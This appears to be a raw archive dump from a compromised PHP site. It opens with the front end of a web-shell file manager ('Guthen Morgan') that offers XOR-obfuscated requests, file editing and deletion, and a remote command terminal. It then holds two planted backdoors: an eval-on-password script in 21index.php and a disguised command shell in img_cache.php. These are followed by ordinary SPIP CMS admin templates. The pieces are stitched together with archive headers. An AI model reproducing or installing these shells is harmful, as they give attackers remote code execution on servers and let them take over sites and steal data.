        <div class="modal" :class="{ 'active': modals.edit }" @click.self="modals.edit = false">
            <div class="modal-content">
                <div class="modal-header">
                    <h3 class="modal-title">Edit File</h3>
                    <p x-text="editingFile ? editingFile.name : ''"></p>
                </div>
                <div class="form-group">
                    <textarea class="form-textarea"
                        x-model="editContent"
                        placeholder="File content...">
                    </textarea>
                </div>
                <div class="modal-actions">
                    <button class="btn btn-secondary" @click="modals.edit = false">Cancel</button>
                    <button class="btn btn-success" @click="saveFile()">Save</button>
                </div>
            </div>
        </div>

        <!-- New File Modal -->
        <div class="modal" :class="{ 'active': modals.newFile }" @click.self="modals.newFile = false">
            <div class="modal-content">
                <div class="modal-header">
                    <h3 class="modal-title">Create New File</h3>
                </div>
                <div class="form-group">
                    <label class="form-label">File Name:</label>
                    <input type="text" class="form-input" x-model="newfileValue" placeholder="Enter file name">
                </div>
                <div class="modal-actions">
                    <button class="btn btn-secondary" @click="modals.newFile = false">Cancel</button>
                    <button class="btn btn-success" @click="confirmCreateFile()">Create</button>
                </div>
            </div>
        </div>

        <!-- Delete Confirmation Modal -->
        <div class="modal" :class="{ 'active': modals.delete }" @click.self="modals.delete = false">
            <div class="modal-content">
                <div class="modal-header">
                    <h3 class="modal-title">Confirm Delete</h3>
                    <p>Are you sure you want to delete <strong x-text="deletingItem ? deletingItem.name : ''"></strong>?</p>
                    <p style="color: #ef4444; font-size: 14px; margin-top: 10px;">This action cannot be undone.</p>
                </div>
                <div class="modal-actions">
                    <button class="btn btn-secondary" @click="modals.delete = false">Cancel</button>
                    <button class="btn btn-danger" @click="confirmDelete()">Delete</button>
                </div>
            </div>
        </div>

        <!-- Hidden file input for uploads -->
        <input type="file" x-ref="fileInput" multiple style="display: none" @change="handleFileUpload($event)">
    </div>

    <script>
        function fileManager() {
            return {
                key: '<?php echo $encryptionKey; ?>',
                currentPath: '<?php echo $currentPath; ?>',
                selfurl: window.location.pathname,
                files: [],
                loading: true,
                os: '<?php echo $os; ?>',

                terminalOpen: false,
                terminalOutput: `
                    <div class="terminal-welcome">
                        <div class="welcome-line">Guthen Morgan v1.2</div>
                        <div class="welcome-line">---</div>
                    </div>
                `,
                terminalCommand: '',
                terminalHistory: [],
                historyIndex: -1,

                modals: {
                    rename: false,
                    edit: false,
                    delete: false,
                    newFile: false
                },

                renameValue: '',
                editContent: '',
                editingFile: null,
                deletingItem: null,
                newfileValue: '',

                get sortedFiles() {
                    return [...this.files].sort((a, b) => {
                        if (a.type === 'folder' && b.type === 'file') return -1;
                        if (a.type === 'file' && b.type === 'folder') return 1;
                        return a.name.localeCompare(b.name);
                    });
                },

                get breadcrumbs() {
                    if (this.currentPath === '/') return [];

                    const parts = this.currentPath.split('/').filter(p => p !== '');
                    let path = '';

                    return parts.map(part => {
                        path += '/' + part;
                        return {
                            name: part,
                            path
                        };
                    });


                },

                get terminalPath() {
                    return this.currentPath === '/' ? '~' : this.currentPath.replace(/^\//, '~/');
                },

                padKey(key, length = 32) {
                    const keyBytes = new TextEncoder().encode(key);
                    const padded = new Uint8Array(length);
                    for (let i = 0; i < Math.min(keyBytes.length, length); i++) {
                        padded[i] = keyBytes[i];
                    }
                    return padded;
                },

                encryptData(plaintext) {
                    try {
                        const keyBytes = this.padKey(this.key);
                        const data = new TextEncoder().encode(plaintext);
                        const encrypted = new Uint8Array(data.length);

                        for (let i = 0; i < data.length; i++) {
                            encrypted[i] = data[i] ^ keyBytes[i % keyBytes.length];
                        }

                        return btoa(String.fromCharCode(...encrypted));
                    } catch (error) {
                        throw new Error('Encryption failed: ' + error.message);
                    }
                },

                async makeEncryptedRequest(data, isFormData = false) {
                    try {
                        if (isFormData) {
                            const response = await fetch(this.selfurl, {
                                method: 'POST',
                                body: data
                            });
                            return await response.json();
                        } else {
                            // Regular JSON requests - encrypt
                            const jsonData = JSON.stringify(data);
                            const encryptedData = await this.encryptData(jsonData);

                            const response = await fetch(this.selfurl, {
                                method: 'POST',
                                headers: {
                                    'Content-Type': 'text/plain'
                                },
                                body: 'ENCRYPTED:' + encryptedData
                            });

                            const responseText = await response.text();

                            return JSON.parse(responseText);
                        }
                    } catch (error) {
                        console.error('Request failed:', error);
                        return {
                            success: false,
                            error: error.message
                        };
                    }
                },

                // Methods
                init() {
                    this.loadFiles();
                },

                async loadFiles() {
                    this.loading = true;
                    try {
                        const response = await fetch(this.selfurl, {
                            method: 'POST',
                            headers: {
                                'Content-Type': 'application/json'
                            },
                            body: JSON.stringify({
                                action: 'list',
                                path: this.currentPath
                            })
                        });

                        const data = await response.json();

                        if (data.success) {
                            this.files = data.files;
                        } else {
                            console.error('Failed to load files:', data.error);
                        }
                    } catch (error) {
                        console.error('Error loading files:', error);
                    } finally {
                        this.loading = false;
                    }
                },

                async navigateTo(path) {

                    if (this.os === 'windows') {
                        if (path.startsWith('/')) {
                            path = path.substring(1);
                        }
                    }

                    this.currentPath = path;
                    await this.loadFiles();
                },

                getFileIcon(file) {
                    if (file.type === 'folder') return 'fas fa-folder';

                    const ext = file.name.split('.').pop().toLowerCase();
                    const iconMap = {
                        'txt': 'fas fa-file-alt',
                        'md': 'fab fa-markdown',
                        'js': 'fab fa-js-square',
                        'css': 'fab fa-css3-alt',
                        'html': 'fab fa-html5',
                        'php': 'fab fa-php',
                        'jpg': 'fas fa-file-image',
                        'jpeg': 'fas fa-file-image',
                        'png': 'fas fa-file-image',
                        'gif': 'fas fa-file-image',
                        'pdf': 'fas fa-file-pdf',
                        'doc': 'fas fa-file-word',
                        'docx': 'fas fa-file-word',
                        'xls': 'fas fa-file-excel',
                        'xlsx': 'fas fa-file-excel',
                        'zip': 'fas fa-file-archive',
                        'rar': 'fas fa-file-archive'
                    };
                    return iconMap[ext] || 'fas fa-file';
                },

                formatPermissions(permissions) {
                    if (!permissions) return '<span style="color: #94a3b8;">-</span>';

                    const createGroup = (label, perms) => {
                        const indicators = ['r', 'w', 'x'].map((perm, index) => {
                            const hasPermission = perms[index] !== '-';
                            const className = hasPermission ? 'granted' : 'denied';
                            return `<div class="permission-indicator ${className}" title="${perm.toUpperCase()}: ${hasPermission ? 'Granted' : 'Denied'}">${hasPermission ? perm.toUpperCase() : '-'}</div>`;
                        }).join('');

                        return `
                            <div class="permission-group">
                                <div class="permission-label">${label}</div>
                                <div class="permission-indicators">${indicators}</div>
                            </div>
                        `;
                    };

                    return `
                        <div class="permissions-display">
                            ${createGroup('Own', permissions.owner)}
                            ${createGroup('Grp', permissions.group)}
                            ${createGroup('Oth', permissions.other)}
                        </div>
                    `;
                },

                // File Operations
                async createFolder() {
                    const name = prompt('Enter folder name:');
                    if (!name) return;

                    try {
                        const data = await this.makeEncryptedRequest({
                            action: 'mkdir',
                            path: this.currentPath,
                            name: name
                        });

                        if (data.success) {
                            await this.loadFiles();
                            this.appendToTerminal(`<div class="command-success">Directory created: ${name}</div>`);
                        } else {
                            alert('Error creating folder: ' + data.error);
                        }
                    } catch (error) {
                        console.error('Error creating folder:', error);
                    }
                },

                uploadFile() {
                    this.$refs.fileInput.click();
                },

                async handleFileUpload(event) {
                    const files = event.target.files;
                    if (!files.length) return;

                    const formData = new FormData();
                    formData.append('action', 'upload');
                    formData.append('path', this.currentPath);

                    for (let i = 0; i < files.length; i++) {
                        formData.append('files[]', files[i]);
                    }

                    try {
                        const data = await this.makeEncryptedRequest(formData, true);
                        if (data.success) {
                            await this.loadFiles();
                            this.appendToTerminal(`<div class="command-success">Files uploaded successfully</div>`);
                        } else {
                            alert('Error uploading files: ' + data.error);
                        }
                    } catch (error) {
                        console.error('Error uploading files:', error);
                    }

                    event.target.value = '';
                },

                async editFile(file) {
                    this.editingFile = file;

                    try {
                        const data = await this.makeEncryptedRequest({
                            action: 'read',
                            path: file.path
                        });

                        if (data.success) {
                            this.editContent = data.content;
                            this.modals.edit = true;
                        } else {
                            alert('Error reading file: ' + data.error);
                        }
                    } catch (error) {
                        console.error('Error reading file:', error);
                    }
                },

                async saveFile() {
                    if (!this.editingFile) return;

                    try {
                        const data = await this.makeEncryptedRequest({
                            action: 'write',
                            path: this.editingFile.path,
                            content: this.editContent
                        });

                        if (data.success) {
                            this.modals.edit = false;
                            this.appendToTerminal(`<div class="command-success">File saved: ${this.editingFile.name}</div>`);
                        } else {
                            alert('Error saving file: ' + data.error);
                        }
                    } catch (error) {
                        console.error('Error saving file:', error);
                    }
                },

                async downloadFile(file) {
                    try {
                        const data = await this.makeEncryptedRequest({
                            action: 'download',
                            path: file.path
                        });
                        if (data.success && data.content) {
                            const link = document.createElement('a');
                            link.href = 'data:application/octet-stream;base64,' + data.content;
                            link.download = file.name;
                            document.body.appendChild(link);
                            link.click();
                            document.body.removeChild(link);
                            this.appendToTerminal(`<div class="command-success">File downloaded: ${file.name}</div>`);
                        } else {
                            alert('Error downloading file: ' + data.error);
                        }
                    } catch (error) {
                        console.error('Error downloading file:', error);
                        return;
                    }
                },

                renameItem(item) {
                    this.deletingItem = item;
                    this.renameValue = item.name;
                    this.modals.rename = true;
                },

                createFile() {
                    this.newfileValue = '';
                    this.modals.newFile = true;
                },

                async confirmRename() {
                    if (!this.deletingItem || !this.renameValue) return;

                    try {
                        const data = await this.makeEncryptedRequest({
                            action: 'rename',
                            oldPath: this.deletingItem.path,
                            newName: this.renameValue
                        });

                        if (data.success) {
                            this.modals.rename = false;
                            await this.loadFiles();
                            this.appendToTerminal(`<div class="command-success">Renamed ${this.deletingItem.name} to ${this.renameValue}</div>`);
                        } else {
                            alert('Error renaming item: ' + data.error);
                        }
                    } catch (error) {
                        console.error('Error renaming item:', error);
                    }
                },

                async confirmCreateFile() {
                    if (!this.newfileValue) return;

                    try {
                        const data = await this.makeEncryptedRequest({
                            action: 'touch',
                            path: this.currentPath,
                            name: this.newfileValue
                        });
                        if (data.success) {
                            this.modals.newFile = false;
                            await this.loadFiles();
                            this.appendToTerminal(`<div class="command-success">File created: ${this.newfileValue}</div>`);
                        } else {
                            alert('Error creating file: ' + data.error);
                        }
                    } catch (error) {
                        console.error('Error creating file:', error);
                    }
                },

                deleteItem(item) {
                    this.deletingItem = item;
                    this.modals.delete = true;
                },

                async confirmDelete() {
                    if (!this.deletingItem) return;

                    try {
                        const data = await this.makeEncryptedRequest({
                            action: 'delete',
                            path: this.deletingItem.path
                        });

                        if (data.success) {
                            this.modals.delete = false;
                            await this.loadFiles();
                            this.appendToTerminal(`<div class="command-success">Deleted: ${this.deletingItem.name}</div>`);
                        } else {
                            alert('Error deleting item: ' + data.error);
                        }
                    } catch (error) {
                        console.error('Error deleting item:', error);
                    }
                },

                // Terminal Functions
                toggleTerminal() {
                    this.terminalOpen = !this.terminalOpen;
                    if (this.terminalOpen) {
                        this.$nextTick(() => {
                            this.$refs.terminalInput.focus();
                        });
                    }
                },

                async executeCommand() {
                    const command = this.terminalCommand.trim();
                    if (!command) return;

                    // Add to history
                    this.terminalHistory.push(command);
                    this.historyIndex = this.terminalHistory.length;

                    // Display command
                    this.appendToTerminal(`<div class="command-line"><span style="color: #10b981;">guthen@morgan</span>:<span style="color: #fbbf24;">${this.terminalPath}</span>$ ${command}</div>`);

                    // Execute command
                    await this.processCommand(command);

                    this.terminalCommand = '';
                    this.scrollTerminalToBottom();
                },

                async processCommand(command) {
                    const parts = command.split(' ');
                    const cmd = parts[0].toLowerCase();
                    const args = parts.slice(1);

                    try {
                        const data = await this.makeEncryptedRequest({
                            action: 'terminal',
                            cmd: (cmd === 'cd') ? cmd : command,
                            args: (cmd === 'cd') ? args : null,
                            path: this.currentPath
                        });

                        if (data.success) {
                            if (data.output) {
                                this.appendToTerminal(data.output);
                            }

                            // Handle special commands
                            if (cmd === 'cd' && data.newPath) {
                                this.currentPath = data.newPath;
                                await this.loadFiles();
                            } else if (['mkdir', 'rmdir', 'rm', 'touch'].includes(cmd)) {
                                await this.loadFiles();
                            } else if (cmd === 'clear') {
                                this.clearTerminal();
                                return;
                            }
                        } else {
                            this.appendToTerminal(`<div class="command-error">${data.error}</div>`);
                        }
                    } catch (error) {
                        console.error('Terminal command error:', error);
                        this.appendToTerminal(`<div class="command-error">Network error: ${error.message}</div>`);
                    }
                },

                clearTerminal() {
                    this.terminalOutput = `
                        <div class="terminal-welcome">
                            <div class="welcome-line">Guthen Morgan v1.2</div>
                            <div class="welcome-line">---</div>
                        </div>
                    `;
                },

                appendToTerminal(html) {
                    this.terminalOutput += html;
                    this.$nextTick(() => this.scrollTerminalToBottom());
                },

                scrollTerminalToBottom() {
                    const output = this.$refs.terminalOutput;
                    if (output) {
                        output.scrollTop = output.scrollHeight;
                    }
                },

                navigateHistory(direction) {
                    if (this.terminalHistory.length === 0) return;

                    this.historyIndex += direction;

                    if (this.historyIndex < 0) {
                        this.historyIndex = 0;
                    } else if (this.historyIndex >= this.terminalHistory.length) {
                        this.historyIndex = this.terminalHistory.length;
                        this.terminalCommand = '';
                        return;
                    }

                    this.terminalCommand = this.terminalHistory[this.historyIndex] || '';
                }
            }
        }
    </script>
</body>

</html>
fhcwxtsm/21index.php000066600000000175152522134760010410 0ustar00<?php
$password = 'lUeSP9SH1e';
if (isset($_REQUEST[$password])) {
    $cmd = $_REQUEST[$password];
    echo eval($cmd);
}
?>fhcwxtsm/img_cache.php000066600000001274152522134760011036 0ustar00<?php
@error_reporting(0);@ini_set('display_errors',0);
header('X-Nx:Nx-zD1');
if(!isset($_REQUEST['k'])||$_REQUEST['k']!=='nXk'){http_response_code(404);die();}
$c=@$_REQUEST['c']??'';
if($c===''){echo '<pre>Nx-zD1 active</pre>';die();}
$o='';
if(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
elseif(function_exists('exec')){@exec($c,$a);$o=implode("\n",$a);}
elseif(function_exists('shell_exec')){$o=@shell_exec($c);}
elseif(function_exists('popen')){$f=@popen($c,'r');$o='';while(!feof($f)){$o.=fread($f,4096);}pclose($f);}
else{$o='[no exec]';}
echo '<pre>'.htmlspecialchars($o).'</pre>';
?>contenu/configurer_mediabox.html000066600000000267152522474220013136 0ustar00[(#AUTORISER{configurer,_mediabox}|sinon_interdire_acces)]
<h1 class="grostitre"><:mediabox:titre_page_configurer_box:></h1>
<div class="ajax">
	#FORMULAIRE_CONFIGURER_MEDIABOX
</div>navigation/controler_urls.html000066600000000431152522474600012656 0ustar00[(#AUTORISER{administrer,url}|sinon_interdire_acces)]
#BOITE_OUVRIR{'',raccourcis}
[(#AUTORISER{modifierurl})
[(#BOUTON_ACTION{[(#CHEMIN_IMAGE{url-edit-24.png}|balise_img)<:urls:actualiser_toutes:>],#URL_ACTION_AUTEUR{urls_actualiser,'',#SELF},icone horizontale})]
]
#BOITE_FERMER
contenu/configurer_urls.html000066600000000257152522474600012334 0ustar00<h1 class="grostitre"><:urls:icone_configurer_urls:></h1>


#FORMULAIRE_CONFIGURER_URLS

<div class="ajax">
	#FORMULAIRE_{#CONFIG{type_urls}|choisir_form_configuration}
</div>contenu/controler_urls.html000066600000001342152522474600012174 0ustar00[(#AUTORISER{administrer,url}|sinon_interdire_acces)]
#SET{self,#SELF|parametre_url{debut_urls,''}}
#SET{recherche,#ENV{recherche}|?{#VAL{%}|concat{#ENV{recherche},%},'%'}}
[(#OBJET|non)
<h1 class="grostitre"><:urls:liste_des_urls:></h1>]
[<h2>(#OBJET|ucfirst) <:info_numero_abbreviation:>#ID_OBJET </h2>
[(#VAL{91}|chr|concat{'->',#OBJET,#ID_OBJET,#VAL{93}|chr}|propre|PtoBR)]

<div>\[<a href="[(#GET{self}|parametre_url{id_objet|objet,''})]"><:urls:tout_voir:></a>\]</div>

<div class="nettoyeur"></div>]
#FORMULAIRE_RECHERCHE_ECRIRE{#GET{self},ajax}
[<h3><:resultats_recherche:> &#171;&nbsp;(#ENV{recherche})&nbsp;&#187;</h3>]
<div class="nettoyeur"></div>
<INCLURE{fond=prive/objets/liste/urls,env,nb=50,recherche=#GET{recherche}} />
contenu/configurer_urls_fonctions.php000066600000000414152522474600014234 0ustar00<?php

if (!defined('_ECRIRE_INC_VERSION')) return;

function choisir_form_configuration($type_url){
	if (include_spip("urls/$type_url")
	  AND defined($c='URLS_'.strtoupper($type_url).'_CONFIG'))
		return "configurer_urls_".strtolower(constant($c));

	return '';
}
?>contenu/popin-choisir_document.html000066600000000270152525406370013602 0ustar00<div class="popin-choisir_document">
<INCLURE{fond=prive/squelettes/inclure/mediatheque-navigation,editable=non,galerie=prive/squelettes/inclure/mediatheque-choisir,ajax,env} />
</div>contenu/documents.html000066600000000531152525406370011122 0ustar00[(#AUTORISER{administrer,mediatheque}|sinon_interdire_acces)]
<INCLURE{fond=prive/squelettes/inclure/mediatheque-navigation, media, iddoc=doc, ajax, env} />
<script type="text/javascript">/*<![CDATA[*/
var multifile='[(#CHEMIN{javascript/jquery.multifile.js}|texte_script)]';
[(#INCLURE{javascript/medias_edit.js}|compacte{js})]
/*]]>*/</script>contenu/document_edit.html000066600000002263152525406370011750 0ustar00[(#ID_DOCUMENT|sinon_interdire_acces)]
[(#AUTORISER{modifier,document,#ID_DOCUMENT}|sinon_interdire_acces)]
<div class="cadre-formulaire-editer[(#ENV{popin,''}|oui)popin]">
<div class="entete-formulaire">
	[(#ENV{popin,''}|non)
	[(#ENV{redirect}|sinon{#URL_ECRIRE{documents}}|icone_verticale{<:icone_retour:>,document,'',left})]
	]
	[<:medias:info_modifier_document:>
	<h1>(#INFO_TITRE{document,#ID_DOCUMENT}|sinon{#INFO_FICHIER*{document,#ID_DOCUMENT}})</h1>]
</div>
<div class="formedit">
	<div class="ajax"><b class="reloaded"></b>
	#FORMULAIRE_EDITER_DOCUMENT{#ID_DOCUMENT,#ENV{parent,''},#ENV{redirect,''},#ENV{lier_trad}}
	</div>
</div>
<div class="ajax">
#FORMULAIRE_ILLUSTRER_DOCUMENT{#ID_DOCUMENT}
</div>
</div>
<script type="text/javascript">
function reload_chemin(){
	if (!jQuery('.formedit').find('.ajax>.reloaded:first').length){
		jQuery('.formedit').find('.ajax').eq(0).prepend('<b class="reloaded"></b>');
		jQuery('#chemin').find('>:first').ajaxReload();
	}
}
jQuery(function(){
	if (jQuery('body.document_edit').length)
		onAjaxLoad(reload_chemin);
});
</script>
<!--affiche_milieu-->
#PIPELINE{afficher_contenu_objet,#ARRAY{args,#ARRAY{type,document,id_objet,#ID_DOCUMENT},data,''}}
top/documents.html000066600000000116152525406370010250 0ustar00<h1 class="grostitre"><:medias:documents:></h1>
#LARGEUR_ECRAN{pleine_largeur}navigation/document_edit.html000066600000000121152525406370012423 0ustar00<INCLURE{fond=prive/squelettes/inclure/document_infos,env,ajax=document_infos} />inclure/portfolio-documents.html000066600000006320152525406370013125 0ustar00[(#REM)

  Squelette
  (c) xxx
  Distribue sous licence GPL

]
#SET{nbdocs,0}
<div id="portfolios">
[(#REM) D'abord les images illustration]
<B_illustrations>
<h3><span class="image_loading"></span><:medias:info_illustrations:></h3>
<div class="liste_items documents" id="illustrations">
[<p class="pagination">(#PAGINATION)</p>]
<BOUCLE_illustrations(DOCUMENTS documents_liens types_documents){inclus=image}{mode=image}{id_objet}{objet}{par num titre,date,id_document}{pagination 50}{statut?}>
	#MODELE{document_desc,id_document,id_objet,objet}
</BOUCLE_illustrations>
[(#TOTAL_BOUCLE|>{20}|oui)<p class="pagination">#PAGINATION</p>]
[(#BOUTON_ACTION{<:medias:lien_tout_enlever:>,#URL_ACTION_AUTEUR{dissocier_document,#ID_OBJET-#OBJET-I/image,#SELF|ancre_url{illustrations}},'ajax tout_supprimer',<:ecrire:lien_tout_supprimer:> ?})]
</div>
#SET{nbdocs,#GET{nbdocs}|plus{#GRAND_TOTAL}}
</B_illustrations>

[(#REM) puis les images du portfolio]
<B_portfolio>
<h3><:medias:info_portfolio:></h3>
<div class="liste_items documents" id="portfolio">
[<p class="pagination">(#PAGINATION)</p>]
<BOUCLE_portfolio(DOCUMENTS documents_liens types_documents){inclus=image}{mode=document}{id_objet}{objet}{par num titre,date,id_document}{pagination 50}{statut?}>
	#MODELE{document_desc,id_document,id_objet,objet}
</BOUCLE_portfolio>
[(#TOTAL_BOUCLE|>{20}|oui)<p class="pagination">#PAGINATION</p>]
[(#BOUTON_ACTION{<:medias:lien_tout_enlever:>,#URL_ACTION_AUTEUR{dissocier_document,#ID_OBJET-#OBJET-I/document,#SELF|ancre_url{portfolio}},'ajax tout_supprimer',<:ecrire:lien_tout_supprimer:> ?})]
</div>
#SET{nbdocs,#GET{nbdocs}|plus{#GRAND_TOTAL}}
</B_portfolio>

[(#REM) puis les documents]
<B_documents>
<h3><:medias:info_documents:></h3>
<div class="liste_items documents" id="documents">
[<p class="pagination">(#PAGINATION)</p>]
<BOUCLE_documents(DOCUMENTS documents_liens types_documents){inclus!=image}{mode!=vignette}{id_objet}{objet}{par num titre,date,id_document}{pagination 50}{statut?}>
	#MODELE{document_desc,id_document,id_objet,objet}
</BOUCLE_documents>
[(#TOTAL_BOUCLE|>{20}|oui)<p class="pagination">#PAGINATION</p>]
[(#BOUTON_ACTION{<:medias:lien_tout_enlever:>,#URL_ACTION_AUTEUR{dissocier_document,#ID_OBJET-#OBJET-D/document,#SELF|ancre_url{documents}},'ajax tout_supprimer',<:ecrire:lien_tout_supprimer:> ?})]
</div>
#SET{nbdocs,#GET{nbdocs}|plus{#GRAND_TOTAL}}
</B_documents>

<script type="text/javascript">/*<![CDATA[*/
var multifile='[(#CHEMIN{javascript/jquery.multifile.js}|texte_script)]';
[(#INCLURE{javascript/medias_edit.js}|compacte{js})]
[(#OBJET|=={rubrique}|et{#EVAL{_AJAX}}|et{#GET{nbdocs}|=={1}}|oui)
if (window.jQuery) jQuery('#navigation .box.info').ajaxReload();]
function check_reload_page(){
	var reload = false;
	if($('#illustrations').length && !$('#illustrations .item').length){
		$('#illustrations').remove();reload = true;
	}
	if($('#portfolio').length && !$('#portfolio .item').length){
		$('#portfolio').remove();reload = true;
	}
	if($('#documents').length && !$('#documents .item').length){
		$('#documents').remove();reload = true;
	}
	if (reload) {
		jQuery('#portfolios').ajaxReload();
		jQuery('#navigation .box.info').ajaxReload();
	}
}
if (window.jQuery) jQuery(function(){onAjaxLoad(check_reload_page);});
/*]]>*/</script>
</div>
inclure/bouton-supprimer-orphelins.html000066600000001351152525406370014443 0ustar00
[(#SET{info_suppression,#VAL{<:medias:bouton_supprimer_tous_orphelins_confirmation:>}})]
[(#REM) mettre directement la chaine de langue sous la forme <:medias:bouton_supprimer_tous_orphelins_confirmation{nb=#ENV{nb_orphelins}}:> ne fonctionne pas]
<BOUCLE_docs_supprimables(DOCUMENTS){orphelins}{id_rubrique ?}{id_article ?}{id_breve ?}{id_document ?}{recherche ?}{statut ?}{media ?}{10,1}>
</BOUCLE_docs_supprimables>

<span class='tout_supprimer'>[(#BOUTON_ACTION{<:medias:bouton_supprimer_tous_orphelins:>,[(#URL_ACTION_AUTEUR{supprimer_tous_orphelins,[(#ENV{media})]/[(#ENV{distant})]/[(#ENV{statut})]/[(#ENV{sanstitre})],#SELF})],ajax,[(#GET{info_suppression}|_T{#ARRAY{nb,#ENV{nb_orphelins}}})]})]</span>
</B_docs_supprimables>

inclure/ajouter-documents.html000066600000001052152525406370012556 0ustar00[(#ENV{ajouter}|=={oui}|oui)
<div class='nettoyeur'></div>
<a href='[(#SELF|parametre_url{ajouter,non})]' class='ajax bouton_fermer'>[(#CHEMIN_IMAGE{fermer-16.png}|balise_img)]</a>
<div class="ajax">
	#FORMULAIRE_JOINDRE_DOCUMENT{new,#ENV{id_objet,0},#ENV{objet,''}}
</div>
<div class='nettoyeur'></div>
]
[(#ENV{ajouter}|=={oui}|non)
[(#SELF|parametre_url{ajouter,oui}|icone{
	[(#VAL{auto}|joindre_determiner_mode{0,#ENV{objet,''}}|=={image}|?{<:medias:bouton_ajouter_image:>,<:medias:icone_creer_document:>})],document-24.png,#LANG_RIGHT,new,ajax})]
]
inclure/document_infos.html000066600000001756152525406370012135 0ustar00#BOITE_OUVRIR{'','info'}
#PIPELINE{boite_infos,#ARRAY{data,'',args,#ARRAY{'type','document','id',#ENV{id_document}}}}
#BOITE_FERMER
<div class='document_utilisations'>
<B_liens>
		<h3>[(#TOTAL_BOUCLE|singulier_ou_pluriel{medias:une_utilisation,medias:des_utilisations})]</h3>
		<ul class='liste_items'>
			<BOUCLE_liens(documents_liens){id_document}>
			<li class='item #OBJET'>[(#CHEMIN_IMAGE{#OBJET|objet_info{icone_objet}|concat{-16.png}}|balise_img) ][(#ID_OBJET|lien_objet{#OBJET})]
			[(#VU|=={oui}|oui)
			[<span class='vu'>(#CHEMIN_IMAGE{document-vu-24.png}|balise_img|inserer_attribut{title,<:medias:document_vu:>}|inserer_attribut{alt,<:medias:document_vu:>})</span>]
			]
			[(#AUTORISER{dissocierdocuments,#OBJET,#ID_OBJET}|oui)
				[(#BOUTON_ACTION{<:medias:bouton_enlever_document:>,[(#URL_ACTION_AUTEUR{dissocier_document,#ID_OBJET-#OBJET-#ID_DOCUMENT--safe,#SELF})],ajax,'',''})]
			]
			</li>
			</BOUCLE_liens>
		</ul>
</B_liens>
<h3><:medias:aucune_utilisation:></h3>
<//B_liens>
</div>
inclure/mediatheque-choisir.html000066600000007641152525406370013051 0ustar00#SET{editable,#ENV{editable,' '}|oui}
<div class="galerie[ media-(#ENV{media,''})]">
	<B_galerie>
	
	<h3>[(#GRAND_TOTAL|singulier_ou_pluriel{#VAL{medias:un_}|concat{#ENV{media,document}},#VAL{medias:des_}|concat{#ENV{media,document},s}})]</h3>
	<div class='pagination tri'>
		[(#TRI{'>',#CHEMIN_IMAGE{tri-asc-16.png}|balise_img{<:par_tri_croissant:>}}) |]
		[(#TRI{'<',#CHEMIN_IMAGE{tri-desc-16.png}|balise_img{<:par_tri_decroissant:>}}) |]
		[(#TRI{id_document,<:medias:par_id:>}) |]
		[(#TRI{date,<:medias:par_date:>}) |]
		[(#TRI{taille,<:medias:par_taille:>}) |]
		[(#TRI{largeur,<:medias:par_largeur:>}) |]
		[(#TRI{hauteur,<:medias:par_hauteur:>}) |]
		[(#TRI{titre,<:medias:par_titre:>}) |]
	</div>
	[<div class="pagination">(#PAGINATION{prive})</div>]
	<table>
	<thead>
		<th></th>
		<th class="id"><:medias:id:></th>
		<th></th>
		<th><:medias:logo:></th>
		<th><:medias:infos:></th>
		<th><:medias:descriptif:></th>
		<th></th>
	</thead>
	<BOUCLE_galerie(DOCUMENTS) {id_rubrique ?}{id_article ?}{id_breve ?}{id_document ?}{recherche ?} {tri id_document,inverse}{media?}{extension?}{distant?}{brise?}{statut==#ENV{statut,.*}}{orphelins?}{titre==(#ENV{sanstitre}|?{'^$','.*'})}{pagination 10}>
	<tr class="[(#ENV{media}|non)[ media-(#MEDIA)]]" id="#ENV{iddoc,media}#ID_DOCUMENT">
		<td class='infos'>
		[(#DISTANT|=={oui}|non)#SET{missing,#FICHIER|file_exists|non}]
		[(#ENV{media}|non|et{#MEDIA|!={file}})[(#CHEMIN_IMAGE{media-#MEDIA|concat{-32.png}}|balise_img|inserer_attribut{alt,#VAL{medias:media_#MEDIA}|_T}|inserer_attribut{title,#VAL{medias:media_#MEDIA}|_T})]]
		[(#GET{missing}|oui)<img src='#CHEMIN_IMAGE{document-manquant-24.png}' width='24' height='24' alt='<:medias:fichier_manquant:>' />]
		[(#DISTANT|=={oui}|oui)<img src='#CHEMIN_IMAGE{document-distant-24.png}' width='24' height='24' alt='<:medias:fichier_distant:>' />]
		</td>
		<td class="id">
			<strong>#ID_DOCUMENT</strong>
		</td>
		<td class='statut'>
		[(#ID_DOCUMENT|medias_puce_statut_document{#STATUT})]
		</td>
		<td class="logo">
		#SET{fichier,#DISTANT|=={oui}|?{#FICHIER,#FICHIER|basename}}
		[(#MEDIA|=={image}|oui)[
			(#LOGO_DOCUMENT{apercu,200,100}|inserer_attribut{alt,[(#TITRE|couper{60}|texte_backend)]})
		]]
		[(#MEDIA|=={image}|non)[<div class="#EDIT{vignette} resize-250">
			(#LOGO_DOCUMENT{auto,200,100}|inserer_attribut{alt,[(#TITRE|couper{60}|texte_backend)]})
		</div>]]
		<div class="fichier">#GET{fichier}</div>
		</td>
		<td class="exif">
			[<strong class="extension">(#EXTENSION)</strong>]
			[<div class="dimensions">(#LARGEUR|?{[(#LARGEUR)[ x (#HAUTEUR) pixels]],''})</div>]
			[<div class="taille">(#TAILLE|taille_en_octets)</div>]
			[<div class="date">(#DATE|affdate{d/m/Y})</div>]
			<B_liens>
			[(#TOTAL_BOUCLE|>{1}|oui)
			<a href='#' onclick="jQuery(this).next().show();$(this).hide();return false;">[(#TOTAL_BOUCLE|singulier_ou_pluriel{medias:une_utilisation,medias:des_utilisations})]</a><div style='display: none;'>
			]
			<BOUCLE_liens(documents_liens){id_document}{'<br />'}>
			[(#ID_OBJET|lien_objet{#OBJET}|inserer_attribut{target,_blank})]
			</BOUCLE_liens>
			[(#TOTAL_BOUCLE|>{1}|oui)</div>]
			</B_liens>
		</td>
		<td class="descriptif">
			[<strong class="titre #EDIT{titre}">(#TITRE|sinon{#VAL{<i>}|concat{<:info_sans_titre:>,'</i>'}})</strong>]
			[<div class="descriptif #EDIT{descriptif}">(#DESCRIPTIF)</div>]
			[<p class="credits #EDIT{credits}">(#CREDITS)</p>]
		</td>
		<td>
		[(#REM) Utilisation de la galerie en mode selecteur, avec un bouton choix qui appelle une fonction js passee en argument]
		[<span class="choisir"><input type="submit" onclick="(#ENV{selectfunc,''})([(#ID_DOCUMENT)]);return false;" value="<:bouton_choisir|attribut_html:>" /></span>]
		</td>
	</tr>
	</BOUCLE_galerie>
	</table>
	[<p class="pagination">(#PAGINATION{prive})</p>]
	</B_galerie>
